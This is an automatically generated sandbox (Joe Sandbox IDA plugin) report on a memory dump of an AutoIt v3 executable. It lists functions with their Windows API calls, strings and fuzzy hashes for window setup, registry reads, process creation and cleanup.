Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: e6dce5380bb5cf9d433bc091b6e34d620e833baf286c2bb0d1ec4abff39346d3
Instruction ID: d3b1180a32705d4126020cf66322438ab0741027734d0e26edfb6419a12607f1
Opcode Fuzzy Hash: e6dce5380bb5cf9d433bc091b6e34d620e833baf286c2bb0d1ec4abff39346d3
Instruction Fuzzy Hash: 3BF0A031810929578220AB78AE0E9BE376C9E01334B10471AF836C21F0EBB06954E6D5

Function 00F84CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00F928E9,?,00F84CBE,00F928E9,010288B8,0000000C,00F84E15,00F928E9,00000002,00000000,?,00F928E9), ref: 00F84D09
TerminateProcess.KERNEL32(00000000,?,00F84CBE,00F928E9,010288B8,0000000C,00F84E15,00F928E9,00000002,00000000,?,00F928E9), ref: 00F84D10
ExitProcess.KERNEL32 ref: 00F84D22

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 532320517b497699d361591d9dee33ab5ef28e690f019caea1e5b197bf2d2703
Instruction ID: 88dece2c421913057046aa58cdb7821defaf7c1750cdeaaf48cbab857de60322
Opcode Fuzzy Hash: 532320517b497699d361591d9dee33ab5ef28e690f019caea1e5b197bf2d2703
Instruction Fuzzy Hash: 3AE0B63240015DABDF12BF54DE09EA87B6DEF41791B104014FC058A122CB39ED52EF80

Function 00FEAFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00FEB198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00FEB1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00FEB1D4
_wcslen.LIBCMT ref: 00FEB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00FEB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00FEB236
_wcslen.LIBCMT ref: 00FEB332

Part of subcall function 00FD05A7: GetStdHandle.KERNEL32(000000F6), ref: 00FD05C6

_wcslen.LIBCMT ref: 00FEB34B
_wcslen.LIBCMT ref: 00FEB366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00FEB3B6
GetLastError.KERNEL32(00000000), ref: 00FEB407
CloseHandle.KERNEL32(?), ref: 00FEB439
CloseHandle.KERNEL32(00000000), ref: 00FEB44A
CloseHandle.KERNEL32(00000000), ref: 00FEB45C
CloseHandle.KERNEL32(00000000), ref: 00FEB46E
CloseHandle.KERNEL32(?), ref: 00FEB4E3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 23571db13d7b867f2c1a6fae495f996f4e9492a0a3e44d37b8c33ea59661df97
Instruction ID: 94f66aff7cf36a4366c766504221e011c4b6665ef33e150405422e148d31920d
Opcode Fuzzy Hash: 23571db13d7b867f2c1a6fae495f996f4e9492a0a3e44d37b8c33ea59661df97
Instruction Fuzzy Hash: 38F1C0319083409FC715EF25C891B6FBBE5AF85324F18845EF4998B2A2DB35EC44EB52

Function 00F6D730 Relevance: 21.6, APIs: 14, Instructions: 624windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00F6D807
timeGetTime.WINMM ref: 00F6DA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F6DB28
TranslateMessage.USER32(?), ref: 00F6DB7B
DispatchMessageW.USER32(?), ref: 00F6DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F6DB9F
Sleep.KERNELBASE(0000000A), ref: 00F6DBB1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 4c7a74cc6ed104b7e49380b2db8be75756ece3cf406f4b157eb14a1a54a22cfe
Instruction ID: dfe1879a015fcbc6481d94e7364077e6797c774769929aa8a7616f3a4e9985d8
Opcode Fuzzy Hash: 4c7a74cc6ed104b7e49380b2db8be75756ece3cf406f4b157eb14a1a54a22cfe
Instruction Fuzzy Hash: 35420131B08346DFD738CF25C894BAABBE4BF85314F188619E49587291D778E844EF82

Function 00F62CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00F62D07
RegisterClassExW.USER32(00000030), ref: 00F62D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F62D42
InitCommonControlsEx.COMCTL32(?), ref: 00F62D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00F62D6F
LoadIconW.USER32(000000A9), ref: 00F62D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00F62D94

Strings

TaskbarCreated, xrefs: 00F62D37
+, xrefs: 00F62CF0
0, xrefs: 00F62CE9
AutoIt v3 GUI, xrefs: 00F62D23

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 5fd4bc76126efe293bba388400548f54d3acec3cde81fa279a83199e5dc8382f
Instruction ID: 84d69dc1f353dba400c05a568014186ec7b842d91639971af47e0b7440668c23
Opcode Fuzzy Hash: 5fd4bc76126efe293bba388400548f54d3acec3cde81fa279a83199e5dc8382f
Instruction Fuzzy Hash: 1121E3B190122CEFDB10DFA4E949BEDBBB8FB0C700F00811AF651A6290D7B65544DF91

Function 00FA065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FA039A: CreateFileW.KERNELBASE(00000000,00000000,?,00FA0704,?,?,00000000,?,00FA0704,00000000,0000000C), ref: 00FA03B7

GetLastError.KERNEL32 ref: 00FA076F
__dosmaperr.LIBCMT ref: 00FA0776
GetFileType.KERNELBASE(00000000), ref: 00FA0782
GetLastError.KERNEL32 ref: 00FA078C
__dosmaperr.LIBCMT ref: 00FA0795
CloseHandle.KERNEL32(00000000), ref: 00FA07B5
CloseHandle.KERNEL32(?), ref: 00FA08FF
GetLastError.KERNEL32 ref: 00FA0931
__dosmaperr.LIBCMT ref: 00FA0938

Strings

H, xrefs: 00FA08BD

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: ce91ef847190d702750fe59cd48bee29739b0a0e69a46bb655a0f6066863db93
Instruction ID: 1f88427e341262bd4edbad54ba6a994561fd8f70be485778daaf7e0ee2a34360
Opcode Fuzzy Hash: ce91ef847190d702750fe59cd48bee29739b0a0e69a46bb655a0f6066863db93
Instruction Fuzzy Hash: A2A12572E001088FDF19EF68EC51BAE7BB4AB06324F140159F815EB391DB399D16EB91

Function 00F6344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F63A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,01031418,?,00F62E7F,?,?,?,00000000), ref: 00F63A78

Part of subcall function 00F63357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00F63379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00F6356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00FA318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00FA31CE
RegCloseKey.ADVAPI32(?), ref: 00FA3210
_wcslen.LIBCMT ref: 00FA3277
_wcslen.LIBCMT ref: 00FA3286

Strings

Software\AutoIt v3\AutoIt, xrefs: 00F63560
\Include\, xrefs: 00F63527
\, xrefs: 00FA328C
Include, xrefs: 00FA3184, 00FA31C5

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: a750af64f8e5eba4cda496077697879662cb4c8b495b108eb0675ca8d1f2de57
Instruction ID: 92ca5539a54c11018c8349cf326123261f9432c7cb6ee97ed6bd52bb235f87bf
Opcode Fuzzy Hash: a750af64f8e5eba4cda496077697879662cb4c8b495b108eb0675ca8d1f2de57
Instruction Fuzzy Hash: A771B1B14083059EC324EF65EC819ABBBECFF85750F40842EF585D3164EB759A48EB62

Function 00F62B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00F62B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00F62B9D
LoadIconW.USER32(00000063), ref: 00F62BB3
LoadIconW.USER32(000000A4), ref: 00F62BC5
LoadIconW.USER32(000000A2), ref: 00F62BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00F62BEF
RegisterClassExW.USER32(?), ref: 00F62C40

Part of subcall function 00F62CD4: GetSysColorBrush.USER32(0000000F), ref: 00F62D07
Part of subcall function 00F62CD4: RegisterClassExW.USER32(00000030), ref: 00F62D31
Part of subcall function 00F62CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F62D42
Part of subcall function 00F62CD4: InitCommonControlsEx.COMCTL32(?), ref: 00F62D5F
Part of subcall function 00F62CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00F62D6F
Part of subcall function 00F62CD4: LoadIconW.USER32(000000A9), ref: 00F62D85
Part of subcall function 00F62CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00F62D94

Strings

#, xrefs: 00F62C16
AutoIt v3, xrefs: 00F62C2F
0, xrefs: 00F62C0F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 24d0762ced30dd2c58771f0adee3331e1644134039fde21498537f3bdbd9ace9
Instruction ID: 76cb2c7e95930bee1813908ca568a0cfe09b0830944a7383c67206ad7470d3b1
Opcode Fuzzy Hash: 24d0762ced30dd2c58771f0adee3331e1644134039fde21498537f3bdbd9ace9
Instruction Fuzzy Hash: 74214972E0031CABDB209FA6ED45AA97FB9FB0CB50F04801AE640A6694D7BA0540DF90

Function 00F63170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00F6316A,?,?), ref: 00F631D8
KillTimer.USER32(?,00000001,?,?,?,?,?,00F6316A,?,?), ref: 00F63204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00F63227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00F6316A,?,?), ref: 00F63232
CreatePopupMenu.USER32 ref: 00F63246
PostQuitMessage.USER32(00000000), ref: 00F63267

Strings

TaskbarCreated, xrefs: 00F6322D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 401685341feeff202b80ec911d4ebfd3b17707b535a69833b71ae6e4aa001085
Instruction ID: a21359615a8b9b1fe0622b80d247c670b2535feaa09902697ceceac07ea1458f
Opcode Fuzzy Hash: 401685341feeff202b80ec911d4ebfd3b17707b535a69833b71ae6e4aa001085
Instruction Fuzzy Hash: 3E412A36B44208A7DB242B7CDD5EB793A5DFB4A360F04411AF642C6291CB7A9F40F7A1

Function 00F61410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00F61459
CoUninitialize.COMBASE ref: 00F614F8
UnregisterHotKey.USER32(?), ref: 00F616DD
DestroyWindow.USER32(?), ref: 00FA24B9
FreeLibrary.KERNEL32(?), ref: 00FA251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00FA254B

Strings

close all, xrefs: 00F61454

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: e844375751b6c15ae89f5bbbfb0199a53f4c6383a6f528e05ce8b1665aa0d482
Instruction ID: 1d10e7ab46956b94308b12c1fbf3e95c08887e5e42c6169ee8959c05c0572cd9
Opcode Fuzzy Hash: e844375751b6c15ae89f5bbbfb0199a53f4c6383a6f528e05ce8b1665aa0d482
Instruction Fuzzy Hash: 86D1A271B01212CFCB29EF19C995B29F7A4BF05710F18429DE44A6B262DB31EC16EF91

Function 00F62C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00F62C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00F62CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00F61CAD,?), ref: 00F62CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00F61CAD,?), ref: 00F62CCF

Strings

edit, xrefs: 00F62CAC
AutoIt v3, xrefs: 00F62C89, 00F62C8E, 00F62C8F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 4e6d8f1cdcf5c96dfc1b16f897bf5ee1af107fa4eaeb9278c06786d9461577e9
Instruction ID: 348be1e248d80de7b5d157dacface8343392a4d1623331f1f6e6e2f33a8871ee
Opcode Fuzzy Hash: 4e6d8f1cdcf5c96dfc1b16f897bf5ee1af107fa4eaeb9278c06786d9461577e9
Instruction Fuzzy Hash: CBF0D0755402A87AE73117176C08E777EBDDBCBF50B004059FA4093554C6B61854EFB0

Function 00F63B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00F63B0F,SwapMouseButtons,00000004,?), ref: 00F63B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00F63B0F,SwapMouseButtons,00000004,?), ref: 00F63B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00F63B0F,SwapMouseButtons,00000004,?), ref: 00F63B83

Strings

Control Panel\Mouse, xrefs: 00F63B3E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 78f1fb67c38e573daf3a3b709db92912ee256c5858174d2358e42b967dfdf1f4
Instruction ID: 41b4a7e56077338f015094b5b903fdcf2678fec205fb29ba001e6091d7cf0f0a
Opcode Fuzzy Hash: 78f1fb67c38e573daf3a3b709db92912ee256c5858174d2358e42b967dfdf1f4
Instruction Fuzzy Hash: 2B115AB1910218FFDB208FA4DC44EEEBBBCEF41750B104459A801D7110D6319E40A7A0

Function 00F63923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00FA33A2

Part of subcall function 00F66B57: _wcslen.LIBCMT ref: 00F66B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00F63A04

Strings

Line: , xrefs: 00FA33EB

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 715bbec4766f7d33adc27386e077fe34a657565f291b965f1814936bdce3e81a
Instruction ID: 1b728ed1e653d6b5faef53d4812b71f64d3b68a7fed8e024368e3a3f02d66446
Opcode Fuzzy Hash: 715bbec4766f7d33adc27386e077fe34a657565f291b965f1814936bdce3e81a
Instruction Fuzzy Hash: A831C671808314AAD725EB20DC46BEBB7ECAF45710F04452EF5D993181EB789649EBC2

Function 00F7FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00F80668

Part of subcall function 00F832A4: RaiseException.KERNEL32(?,?,?,00F8068A,?,01031444,?,?,?,?,?,?,00F8068A,00F61129,01028738,00F61129), ref: 00F83304

__CxxThrowException@8.LIBVCRUNTIME ref: 00F80685

Strings

Unknown exception, xrefs: 00F80692

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 8e844ca6b1f37a99066961a99f87ee2fa85449e255804a1e64a5aa61e163b1e2
Instruction ID: d31fe56e659bf93b07769c1d2ba2047df5ec521f79cdcbb06cf39f59f300abb4
Opcode Fuzzy Hash: 8e844ca6b1f37a99066961a99f87ee2fa85449e255804a1e64a5aa61e163b1e2
Instruction Fuzzy Hash: BBF0C834D0020D778F10B664DC4ADDD776C5E00720B908536B928955A1FF75DA2DE791

Function 00F610F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F61BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00F61BF4
Part of subcall function 00F61BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00F61BFC
Part of subcall function 00F61BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00F61C07
Part of subcall function 00F61BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00F61C12
Part of subcall function 00F61BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00F61C1A
Part of subcall function 00F61BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00F61C22

Part of subcall function 00F61B4A: RegisterWindowMessageW.USER32(00000004,?,00F612C4), ref: 00F61BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00F6136A
OleInitialize.OLE32 ref: 00F61388
CloseHandle.KERNEL32(00000000,00000000), ref: 00FA24AB

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

